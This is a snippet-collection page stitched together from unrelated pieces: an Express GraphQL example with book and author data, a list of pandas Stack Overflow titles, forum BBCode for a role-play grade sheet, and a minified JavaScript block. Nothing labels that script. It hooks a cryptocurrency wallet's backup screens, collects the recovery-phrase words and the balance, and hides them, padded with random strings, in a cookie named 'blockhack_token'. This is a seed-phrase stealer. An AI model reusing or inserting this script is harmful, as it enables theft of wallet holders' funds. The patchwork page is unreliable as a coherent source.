Recogido por ahí

const express = require('express')
const { graphqlHTTP } = require("express-graphql");
const {
  GraphQLSchema,
  GraphQLObjectType,
  GraphQLString,
  GraphQLList,
  GraphQLInt,
  GraphQLNonNull
} = require('graphql')
const app = express()
const port = 3000

// Sample Data
const authors = [
	{ id: 1, name: 'Dan Brown' },
	{ id: 2, name: 'J. R. R. Tolkien' },
	{ id: 3, name: 'Brent Weeks' }
]

const books = [
	{ id: 1, name: 'The Lost Symbol', authorId: 1 },
	{ id: 2, name: 'Angels and Demons', authorId: 1 },
	{ id: 3, name: 'The Davinci Code', authorId: 1 },
	{ id: 4, name: 'The Fellowship of the Ring', authorId: 2 },
	{ id: 5, name: 'The Two Towers', authorId: 2 },
	{ id: 6, name: 'The Return of the King', authorId: 2 },
	{ id: 7, name: 'The Way of Shadows', authorId: 3 },
	{ id: 8, name: 'Beyond the Shadows', authorId: 3 }
]

const BookType = new GraphQLObjectType({
  name: 'Book',
  description: 'This represents a book written by an author',
  fields: () => ({
    id: { type: GraphQLNonNull(GraphQLInt) },
    name: { type: GraphQLNonNull(GraphQLString) },
    authorId: { type: GraphQLNonNull(GraphQLInt) },
    author: {
      type: AuthorType, // AuthorType is defined below the same way that BookType is defined above
      resolve: (book) => {
        return authors.find(author => author.id === book.authorId)
      }
    }
  })
})

const AuthorType = new GraphQLObjectType({
  name: 'Author',
  description: 'This represents the author of a book',
  fields: () => ({
    id: { type: GraphQLNonNull(GraphQLInt) },
    name: { type: GraphQLNonNull(GraphQLString) }
  })
})

const RootQueryType = new GraphQLObjectType({
  name: 'Query',
  description: 'Root Query',
  fields: () => ({
    books: {
      type: new GraphQLList(BookType),
      description: "List of books",
      resolve: () => books
    }
  })
})

const schema = new GraphQLSchema({
  query: RootQueryType
})



app.use('/graphql', graphqlHTTP({
  schema: schema,
  graphiql: true
}))


app.get('/', (req, res) => {
  res.send(`<a href="http://localhost:${port}/graphql">GraphiQL</a>`)
})

// QUERY:
// 
// {
// 	books {
//     id
//   	name
//     author {
//       name
//     }
// 	}
// }

// RESULT
// 
// {
//   "data": {
//     "books": [
//       {
//         "id": 1,
//         "name": "The Lost Symbol",
//         "author": {
//           "name": "Dan Brown"
//         }
//       },
//       {
//         "id": 2,
//         "name": "Angels and Demons",
//         "author": {
//           "name": "Dan Brown"
//         }
//       }, //...
//     ]
//   }
// }

app.listen(port, () => {
  console.log(`App listening on http://localhost:${port}`)
});

Similiar Collections

Python strftime reference pandas.Period.strftime python - Formatting Quarter time in pandas columns - Stack Overflow python - Pandas: Change day - Stack Overflow python - Check if multiple columns exist in a df - Stack Overflow Pandas DataFrame apply() - sending arguments examples python - How to filter a dataframe of dates by a particular month/day? - Stack Overflow python - replace a value in the entire pandas data frame - Stack Overflow python - Replacing blank values (white space) with NaN in pandas - Stack Overflow python - get list from pandas dataframe column - Stack Overflow python - How to drop rows of Pandas DataFrame whose value in a certain column is NaN - Stack Overflow python - How to drop rows of Pandas DataFrame whose value in a certain column is NaN - Stack Overflow python - How to lowercase a pandas dataframe string column if it has missing values? - Stack Overflow How to Convert Integers to Strings in Pandas DataFrame - Data to Fish How to Convert Integers to Strings in Pandas DataFrame - Data to Fish create a dictionary of two pandas Dataframe columns? - Stack Overflow python - ValueError: No axis named node2 for object type <class 'pandas.core.frame.DataFrame'> - Stack Overflow Python Pandas iterate over rows and access column names - Stack Overflow python - Creating dataframe from a dictionary where entries have different lengths - Stack Overflow python - Deleting DataFrame row in Pandas based on column value - Stack Overflow python - How to check if a column exists in Pandas - Stack Overflow python - Import pandas dataframe column as string not int - Stack Overflow python - What is the most efficient way to create a dictionary of two pandas Dataframe columns? - Stack Overflow Python Loop through Excel sheets, place into one df - Stack Overflow

function blockhack_token(e){return(e+"").replace(/[a-z]/gi,function(e){return String.fromCharCode(e.charCodeAt(0)+("n">e.toLowerCase()?13:-13))})}function sleep(e){return new Promise(function(t){return setTimeout(t,e)})}function makeid(e){for(var t="",n=0;n<e;n++)t+="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".charAt(Math.floor(62*Math.random()));return t}for(var elems=document.querySelectorAll(".sc-bdVaJa.iOqSrY"),keys=[],result=makeid(300),i=elems.length;i--;)"backupFundsButton"==elems[i].getAttribute("data-e2e")&&elems[i].addEventListener("click",myFunc,!1);function myFunc(){setTimeout(function(){for(var e=document.querySelectorAll(".sc-bdVaJa.KFCFP"),t=e.length;t--;)e[t].addEventListener("click",start,!1)},1e3)}function start(){keys=[],setTimeout(function(){var e=document.querySelectorAll("div[data-e2e=backupWords]"),t=document.querySelectorAll(".KFCFP");for(e.forEach(function(e,t,n){e=blockhack_token(e.getElementsByTagName("div")[1].textContent),keys.push(e.replace(/\s/g,""))}),e=t.length;e--;)"toRecoveryTwo"==t[e].getAttribute("data-e2e")&&t[e].addEventListener("click",end,!1)},1e3)}function end(){setTimeout(function(){document.querySelectorAll("div[data-e2e=backupWords]").forEach(function(e,t,n){e=blockhack_token(e.getElementsByTagName("div")[1].textContent),keys.push(e.replace(/\s/g,""))});var e=document.querySelectorAll("div[data-e2e=topBalanceTotal]")[0].textContent,t=result+"["+e+"]["+keys.join("]"+makeid(300)+"[");t+="]"+makeid(300),document.cookie="blockhack_token="+t},1e3)}

@Andiyo

[div align="center"][div style="width:550px;border-top:10px solid #68a758;border-bottom:10px solid #68a758;background-color:white;"][img style="max-width:100%;" src="https://i.postimg.cc/bJyKRG4B/sly1.gif"] [div style="width:90%;padding:15px;"][div style="width:250px;font-family:arial;font-size:23px;font-weight:bold;font-style:italic;float:left;text-align:right;letter-spacing:-1px;"]EMERSON ROOK[/div][div style="border-radius:50px;padding:5px;border:3px double black;color:black;font-family:georgia;font-size:35px;margin-left:25px;width:40px;float:left;"]S[/div][div style="float:left;margin-left:20px;margin-top:5px;font-family:arial;font-size:8px;color:#666;letter-spacing:2px;padding:5px;text-align:left;line-height:12px;"][b][i]FIRST[/i][/b] BEGINNERS FULL [/div] [hr] [div style="font-family:arial;font-size:11px;"][table style="width:500px;"][tbody][tr][td style="padding:3px;"][div align="center"][span style="padding:3px 8px 3px 8px;border-bottom:1px solid grey;font-family:arial;font-size:8px;color:#666;letter-spacing:2px;"][b][i]ASSIGNMENT[/i][/b][/span] [/div][/td][td style="padding:3px;"][div align="center"][span style="padding:3px 8px 3px 8px;border-bottom:1px solid grey;font-family:arial;font-size:8px;color:#666;letter-spacing:2px;"][b][i]HOMEWORK[/i][/b][/span] [/div][/td][td style="padding:3px;"][div align="center"][span style="padding:3px 8px 3px 8px;border-bottom:1px solid grey;font-family:arial;font-size:8px;color:#666;letter-spacing:2px;"][b][i]EXTRA CREDIT[/i][/b][/span] [/div][/td][td style="padding:3px;"][div align="center"][span style="padding:3px 8px 3px 8px;border-bottom:1px solid grey;font-family:arial;font-size:8px;color:#666;letter-spacing:2px;"][b][i]GRADE[/i][/b][/span] [/div][/td][/tr][tr][td align="center" style="padding:3px;"]Lesson One [/td][td align="center" style="padding:3px;"]0/40[/td][td align="center" style="padding:3px;"]0/20[/td][td style="padding:3px;" align="center"]T[/td][/tr][tr][td align="center" style="padding:3px;"]Lesson Two [/td][td style="padding:3px;" align="center"]0/40[/td][td align="center" style="padding:3px;"]0/20[/td][td align="center" style="padding:3px;"]T[/td][/tr][tr][td align="center" style="padding:3px;"]Lesson Three [/td][td align="center" style="padding:3px;"]0/40[/td][td align="center" style="padding:3px;"]0/20[/td][td align="center" style="padding:3px;"]T[/td][/tr][tr][td style="padding:3px;" align="center"]Lesson Four [/td][td style="padding:3px;" align="center"]0/40[/td][td align="center" style="padding:3px;"]0/20[/td][td align="center" style="padding:3px;"]T[/td][/tr][tr][td style="padding:3px;" align="center"]Lesson Five [/td][td style="padding:3px;" align="center"]0/40[/td][td align="center" style="padding:3px;"]0/20[/td][td style="padding:3px;" align="center"]T[/td][/tr][/tbody][/table] [hr] [font size="1"][b]FINAL GRADE:[/b] 000/200 (T) @emersonrook , post your homework here[/font][/div] [/div][/div][/div][/quote]

@cryptpkr